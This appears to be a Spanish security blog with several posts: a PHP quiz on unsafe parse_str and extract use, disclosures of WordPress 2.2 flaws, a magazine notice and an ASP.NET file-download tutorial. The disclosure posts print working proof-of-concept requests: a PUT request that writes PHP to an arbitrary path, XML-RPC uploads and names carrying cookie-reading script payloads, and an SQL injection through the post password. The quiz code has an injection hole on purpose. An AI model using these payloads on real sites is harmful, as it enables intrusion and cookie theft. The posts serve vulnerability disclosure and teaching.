Categories
PHP Quiz Seguridad Web WordPress

PHP: Uso adecuado de parse_str

La siguiente porción de código es una práctica muy extendida en WordPress, sirve para que las funciones puedan tener un buen número de parámetros opcionales sin que el código sea visualmente feo:

php:

<?php
/* Funciones de WordPress */
function stripslashes_deep($value) {
         $value = is_array($value) ?
                 array_map('stripslashes_deep', $value) :
                 stripslashes($value);

         return $value;
}
function wp_parse_str( $string, &$array ) {
        parse_str( $string, $array );
        if ( get_magic_quotes_gpc() )
                $array = stripslashes_deep( $array );
        return $array;
}
/* Fin */

function get_posts( $args = '' ) {
        $defaults = array(
                'limit' => 5,
                'post_type' => ''
        );
        $args = wp_parse_str($args, $defaults);
       
        extract($args, EXTR_SKIP);
       
        $where = '';
        if ( !empty($post_type) )

                $where = "WHERE post_type = '$post_type'";

       
        $sql = "SELECT * FROM posts $where LIMIT $limit";
        // ejecutar la consulta en una base de datos MySQL
        echo htmlspecialchars($sql);
}

$limit = empty($_GET['limit']) ? 5 : (int) $_GET['limit'];

if (get_magic_quotes_gpc())
        $_GET['type'] = stripslashes($_GET['type']);
// Se usa addslashes sólo para el ejemplo.
// $type = mysql_real_escape_string($_GET['type']);
$type = addslashes($_GET['type']);
get_posts("limit=$limit&post_type=$type");
?>

Sobre el ejemplo mostrado:

  1. ¿Tiene algún problema de seguridad?
  2. ¿Qué pasa si cambiamos la línea resaltada por esta otra, tiene algún problema de seguridad?
    php:

    $where = "WHERE post_type = '". addslashes($post_type) . "'";

Para los interesados en este pequeño quiz, subí una página en la que pueden realizar sus pruebas.

Categories
Seguridad Web WordPress

WordPress: Arbitrary File Upload

Nota: Esta vulnerabilidad se corrigió parcialmente en WordPress 2.2.1.

WordPress, como todo blogger que use este CMS debe saber, permite subir sólo determinado tipo de archivos, tarea que en general lo hace bien cuando se usa la interfase Web o XMLRPC de manera estándar.

Los datos de estos archivos, internamente se almacenan en la tabla wp_posts y wp_postmeta: en el primero se guardan el título, descripción y el tipo del archivo, además se asigna el tipo de entrada a post_type=attachment; en la segunda tabla se guarda la ruta del archivo en un campo especial denominado _wp_attached_file, adicionalmente se guardan también otras propiedades del archivo en _wp_attachment_metadata.

Por otro lado, tenemos la posibilidad de agregar campos personalizados para cada entrada o página, los cuales lógicamente son almacenados en la tabla wp_postmeta. Estos campos personalizados, en las versiones vulnerables de WordPress, permiten almacenar cualquier combinación clave=valor sin hacer ningún tipo de validación, es decir cualquiera puede agregar el siguiente campo personalizado a una entrada o página:

code:

clave   : _wp_attached_file
valor   : /home/vulnerable.com/wp/wp-content/uploads/demo.php

En el archivo wp-app.php, existe la siguiente función que permite modificar el contenido de cualquier archivo que hayamos subido usando WordPress:

php:

function put_file($postID) {

  $type = $this->get_accepted_content_type();

  // first check if user can upload
  if(!current_user_can('upload_files'))
    $this->auth_required(__('You do not have permission to upload files.'));

  // check for not found
  global $entry;
  $this->set_current_entry($postID);

  // then whether user can edit the specific post
  if(!current_user_can('edit_post', $postID)) {
    $this->auth_required(__('Sorry, you do not have the right to edit this post.'));
  }

  $location = get_post_meta($entry['ID'], '_wp_attached_file', true);

  if(!isset($location))
    $this->internal_error(__('Error ocurred while accessing post metadata for file location.'));

  $fp = fopen("php://input", "rb");
  $localfp = fopen($location, "w+");
  while(!feof($fp)) {
    fwrite($localfp,fread($fp, 4096));
  }
  fclose($fp);
  fclose($localfp);

  log_app('function',"put_file($postID)");
  $this->ok();
}

Esa función, recibe como parámetro el ID de una entrada, luego intenta obtener la ubicación especificada en _wp_attached_file y a continuación actualiza ese archivo con los datos que hayamos enviado. Esta característica debería estar disponible sólo para aquellas entradas con post_type=attachment, pero como no existe ninguna restricción de ese tipo, es posible usar el campo personalizado que agregamos anteriormente.

code:

PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length

<?php echo "Hello World"; ?>

Como mencioné en la entrada anterior, esta vulnerabilidad es muy grave en sitios con WordPress MU instalado, puesto que normalmente cualquier usuario que se registre puede subir archivos al servidor. Preparé un exploit que hace lo mínimo necesario para aprovechar esta vulnerabilidad -- es mi primer script en Perl, así que no esperen mucho. 😉

Categories
Sql Injection Web WordPress XSS

XSS, SQL Injection, Arbitrary File Upload en WordPress

A los dos problemas de seguridad que reporté previamente en WordPress 2.2, se suman otros cuatro que en su mayoría afectan a aquellos blogs que dejan registrar a usuarios (como colaboradores). En vista de que en realidad muchos blogs -- al menos de los que conozco -- tienen esta opción deshabilitada, el radio de acción no es tan grande; sin embargo, estos mismos bugs en páginas que ofrecen blogs gratis basados en WordPress MU, corren mucho riesgo.

  1. XSS: WordPress permite subir sólo cierto tipo de archivos, los cuales son validados en base a la extensión del archivo (ver función wp_check_filetype en wp-includes/functions.php), como no existe ningún proceso que valide el contenido de esos archivos, es posible que éstos puedan contener código javascript incrustado en éste. Por ejemplo, si se hace la siguiente petición a xmlrpc.php:

    code:

    POST /xmlrpc.php HTTP/1.1
    Content-Type: text/plain
    Host: vulnerable.com
    Content-Length: 458

    <methodCall>
            <methodName>wp.uploadFile</methodName>
            <params>
            <param><value>1</value></param>
            <param><value>user</value></param>
            <param><value>password</value></param>
                    <struct>
                            <member><name>name</name><value>demo.gif</value></member>
                            <member><name>type</name><value>image/gif</value></member>
                            <member><name>bits</name><value><![CDATA[<script>alert(document.cookie)</script>]]></value></member>
                    </struct>
            </params>
    </methodCall>

    Puesto que a Internet Explorer le gusta facilitar los ataques XSS, si alguien accede con este navegador a http://victima.com/wp-content/uploads/año/mes/demo.gif, se mostrará un mensaje mostrando las cookies de ese usuario.

  2. SQL Injection: Este problema se presenta en la función mw_editPost de xmlrpc.php, debido a que no escapa los parámetros en el orden adecuado, si revisan el código de esa función, van a encontrar algo parecido a:

    php:

    postdata = wp_get_single_post($post_ID, ARRAY_A);

    // If there is no post data for the give post id, stop
    // now and return an error.  Other wise a new post will be
    // created (which was the old behavior).
    if(empty($postdata["ID"])) {
            return(new IXR_Error(404, __("Invalid post id.")));
    }

    extract($postdata);
    $this->escape($postdata);

    Gracias a este pequeño error, es posible realizar un ataque de inyección de SQL usando el campo post_password (20 caracteres). La siguiente prueba de concepto actualizará todas las entradas con el título foo:

    • Crear una nueva entrada y asignarle como contraseña: '/*
    • Realizar la siguiente petición a xmlrpc.php.
      code:

      POST /wp/xmlrpc.php HTTP/1.1
      User-Agent: Fiddler
      Host: localhost
      Content-Length: 390

      <methodCall>
         <methodName>blogger.newPost</methodName>
         <params>
           <param><value>0</value></param>
           <param><value>0</value></param>
           <param><value>alex</value></param>
           <param><value>1234</value></param>
           <struct>
               <member><name>title</name><value>foo</value></member>
           </struct>
           <param><value>0</value></param>
         </params>
      </methodCall>

    Don't try it at home.

  3. Arbitrary File Upload: Este sin duda es el más grave de todos porque permite a un atacante subir cualquier tipo de archivos, más adelante publicaré los detalles.

  4. XSS: Este bug se basa en lo que comentábamos el otro día sobre XSS y las peculiaridades de los navegadores, están afectadas casi todas las páginas que hacen uso de la función js_escape. Por ejemplo, pueden reproducir el problema en wp-admin/edit-comments.php:

    • Hacer un comentario en alguna entrada y poner como nombre &#x27;)||alert(document.cookie)//
    • Intentar eliminar o marcar como spam ese comentario.

Según la respuesta de uno de los desarrolladores de WordPress, la solución para el primer problema se va a postergar hasta la salida de la versión 2.2.2.

Dado que son varios los cambios que hay que hacer para estar un poco más seguros, les recomiendo que actualicen por lo menos a la versión 2.2.1* ó 2.0.11 para los que todavía sigan en la rama 2.0.

*: durante la edición de esta entrada se reportó otros pequeños problemas de SQL Injection. 😉
Disculpen por el título amarillista, no se me ocurrió otra cosa. 😀

Categories
Arquitectura Software Microsoft Recursos Web

Edición #12 de Architechture Journal

Para los interesados, ya está disponible la edición número 12 (EN) de esta interesante revista denominada The Architecture Journal. Los temas para este número son:

  • Web 2.0 in the Enterprise
  • Eficient Software Delivery through Service Delivery Platforms
  • Secure Cross-Domain Communication in the Browser
  • An Application-Oriented Model for Relational Data
  • Architechture Journal Profile: Pat Helland
  • Data Confidence Over the Web
  • Managed Add-Ins: Advanced Versioning and Reliable Hosting

El artículo "Secure Cross-Domain Communication in the Browser" es una lectura interesante para desarrollares web, porque muestra una alternativa para saltar las restricciones de seguridad impuestas por los navegadores (cross-domain policy) y realizar la comunicación en 2 vías entre diferentes dominios usando elementos iframe. En el artículo se afirma que este método es seguro, sin embargo tengo dudas acerca de esa afirmación :).

Si desean los contenidos de esta revista en español, al parecer van a tener que esperar un poco más porque la última traducción disponible es de la edición #11.

Categories
ASP.NET Web

Proteger la descarga de archivos en ASP.NET 2

En la anterior entrega (Protección de archivos con ASP.NET 2 y IIS 6), vimos que a partir de IIS 6, es posible proteger archivos que no son procesados directamente por ASP.NET; si bien es cierto que este método es fácil de implementar, tiene el inconveniente que en hostings compartidos es difícil o imposible hacer eso ya que generalmente no se tiene acceso a la configuración de IIS.

Otra forma de proteger la descarga de archivos de usuarios anónimos, es crear una página intermedia que antes de entregar los contenidos de éstos, realice las validaciones pertinentes al usuario que hace la petición. Para evitar que los usuarios descarguen directamente los recursos protegidos (por si conocen la ruta) es mejor que éstos estén ubicados en lugares no accesibles directamente desde el navegador (Ejemplo: App_Data o el directorio padre de la aplicación).

El siguiente ejemplo, ilustra de manera básica como proteger los archivos que están ubicados en App_Data\Protected:.

asp:

<%@ Page AutoEventWireup="true" CodeFile="Default.aspx.cs" EnableViewState="false"
    Inherits="_Default" Language="C#" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Download</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <asp:Label ID="messageLabel" runat="server"></asp:Label>
        <asp:Repeater ID="filesRepeater" runat="server">
            <HeaderTemplate>
                <ul>
            </HeaderTemplate>
            <ItemTemplate>
                    <li><a href='?file=<%# HttpUtility.UrlEncode(Container.DataItem.ToString()) %>'><%# Container.DataItem %></a></li>
            </ItemTemplate>
            <FooterTemplate>
                </ul>
            </FooterTemplate>
        </asp:Repeater>
    </div>
    </form>
</body>
</html>

csharp:

using System;
using System.IO;
using System.Web;

public partial class _Default : System.Web.UI.Page
{
    readonly static string basePath = HttpContext.Current.Server.MapPath("~/App_Data/Protected");

    protected void Page_Load(object sender, EventArgs e)
    {
        if (!string.IsNullOrEmpty(Request.Params["file"]))
        {
            DownloadFile(Request.Params["file"]);
        }
        LoadFiles();
    }
    void LoadFiles()
    {
        string[] files = Directory.GetFiles(basePath);
        for (int i = 0; i < files.Length; i++)
        {
            files[i] = Path.GetFileName(files[i]);
        }
        filesRepeater.DataSource = files;
        filesRepeater.DataBind();
    }
    void DownloadFile(string file)
    {

        /*
         * Usar autenticación de formularios sobre esta página
         * o realizar algún otro proceso de validación del usuario
         */
        file = Request.MapPath(file, "~/App_Data/Protected", false);
        // Sólo descargar si el archivo está dentro de App_Data/Protected
        if (!file.StartsWith(basePath) || !File.Exists(file))
        {
            messageLabel.Text = "El archivo no existe";
            return;
        }
        Response.Clear();       
        Response.ContentType = "application/octet-stream";
        Response.AppendHeader("Content-Disposition", "attachment; filename=" + Path.GetFileName(file));
        Response.TransmitFile(file);
        Response.End();

    }
}

Al implementar este tipo de cosas, hay que validar bien el archivo a descargar, puesto que por un descuido, podemos hacer que el código de nuestra aplicación esté disponible a todo el mundo. 🙂